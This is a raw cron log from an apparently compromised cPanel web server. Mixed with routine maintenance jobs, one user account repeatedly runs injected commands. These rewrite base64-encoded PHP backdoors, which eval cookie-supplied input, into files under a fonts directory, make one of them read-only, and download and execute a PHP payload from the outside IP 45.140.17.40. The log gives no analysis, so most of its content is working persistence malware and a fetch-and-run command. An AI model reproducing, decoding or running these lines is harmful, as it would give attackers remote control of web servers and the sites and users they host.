Sep  4 05:31:01 ip-184-168-122-23 CROND[30719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:31:01 ip-184-168-122-23 CROND[30720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:31:01 ip-184-168-122-23 CROND[30721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:32:01 ip-184-168-122-23 CROND[30835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:32:01 ip-184-168-122-23 CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:32:01 ip-184-168-122-23 CROND[30839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:32:01 ip-184-168-122-23 CROND[30837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:32:01 ip-184-168-122-23 CROND[30838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:33:01 ip-184-168-122-23 CROND[30992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:33:01 ip-184-168-122-23 CROND[30994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:33:01 ip-184-168-122-23 CROND[30996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:33:01 ip-184-168-122-23 CROND[30995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:34:01 ip-184-168-122-23 CROND[31159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:34:01 ip-184-168-122-23 CROND[31160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:34:01 ip-184-168-122-23 CROND[31162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:34:01 ip-184-168-122-23 CROND[31163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:34:01 ip-184-168-122-23 CROND[31164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31299]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31301]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:35:01 ip-184-168-122-23 CROND[31310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:35:01 ip-184-168-122-23 CROND[31309]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:36:01 ip-184-168-122-23 CROND[31410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:36:01 ip-184-168-122-23 CROND[31412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:36:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:36:01 ip-184-168-122-23 CROND[31415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:36:01 ip-184-168-122-23 CROND[31414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:37:01 ip-184-168-122-23 CROND[31575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:37:01 ip-184-168-122-23 CROND[31576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:37:01 ip-184-168-122-23 CROND[31577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:37:01 ip-184-168-122-23 CROND[31579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:38:01 ip-184-168-122-23 CROND[31687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:38:01 ip-184-168-122-23 CROND[31688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:38:01 ip-184-168-122-23 CROND[31691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:38:01 ip-184-168-122-23 CROND[31690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:38:01 ip-184-168-122-23 CROND[31694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:39:02 ip-184-168-122-23 CROND[31911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:39:02 ip-184-168-122-23 CROND[31913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:39:02 ip-184-168-122-23 CROND[31914]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 05:39:02 ip-184-168-122-23 CROND[31915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:39:02 ip-184-168-122-23 CROND[31916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:40:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:40:01 ip-184-168-122-23 CROND[32045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:40:01 ip-184-168-122-23 CROND[32047]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:40:01 ip-184-168-122-23 CROND[32049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:40:01 ip-184-168-122-23 CROND[32050]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:40:01 ip-184-168-122-23 CROND[32052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:40:01 ip-184-168-122-23 CROND[32053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:40:01 ip-184-168-122-23 CROND[32054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:41:01 ip-184-168-122-23 CROND[32158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:41:01 ip-184-168-122-23 CROND[32159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:41:01 ip-184-168-122-23 CROND[32161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:41:01 ip-184-168-122-23 CROND[32162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:42:01 ip-184-168-122-23 CROND[32289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:42:01 ip-184-168-122-23 CROND[32291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:42:01 ip-184-168-122-23 CROND[32292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:42:01 ip-184-168-122-23 CROND[32293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:42:01 ip-184-168-122-23 CROND[32294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:43:01 ip-184-168-122-23 CROND[32399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:43:01 ip-184-168-122-23 CROND[32400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
